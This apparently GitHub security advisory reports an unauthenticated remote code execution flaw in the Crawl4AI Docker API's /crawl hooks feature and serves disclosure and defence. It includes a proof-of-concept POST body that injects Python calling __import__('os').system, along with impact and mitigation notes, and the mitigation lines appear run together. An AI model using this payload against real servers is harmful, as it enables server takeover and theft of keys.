A critical remote code execution vulnerability exists in the Crawl4AI Docker API deployment. The /crawl endpoint accepts a hooks parameter containing Python code that is executed using exec(). The __import__ builtin was included in the allowed builtins, allowing attackers to import arbitrary modules and execute system commands.
Attack Vector:
POST /crawl
{
"urls": ["https://example.com"],
"hooks": {
"code": {
"on_page_context_created": "async def hook(page, context, **kwargs):\n __import__('os').system('malicious_command')\n return page"
}
}
}
An unauthenticated attacker can: - Execute arbitrary system commands - Read/write files on the server - Exfiltrate sensitive data (environment variables, API keys) - Pivot to internal network services - Completely compromise the server
/crawl endpoint at network level__import__ from allowed_builtins in hook_manager.pyCRAWL4AI_HOOKS_ENABLED=false)Discovered by Neo by ProjectDiscovery (https://projectdiscovery.io)
{
"nvd_published_at": null,
"github_reviewed_at": "2026-01-16T20:59:16Z",
"severity": "CRITICAL",
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true
}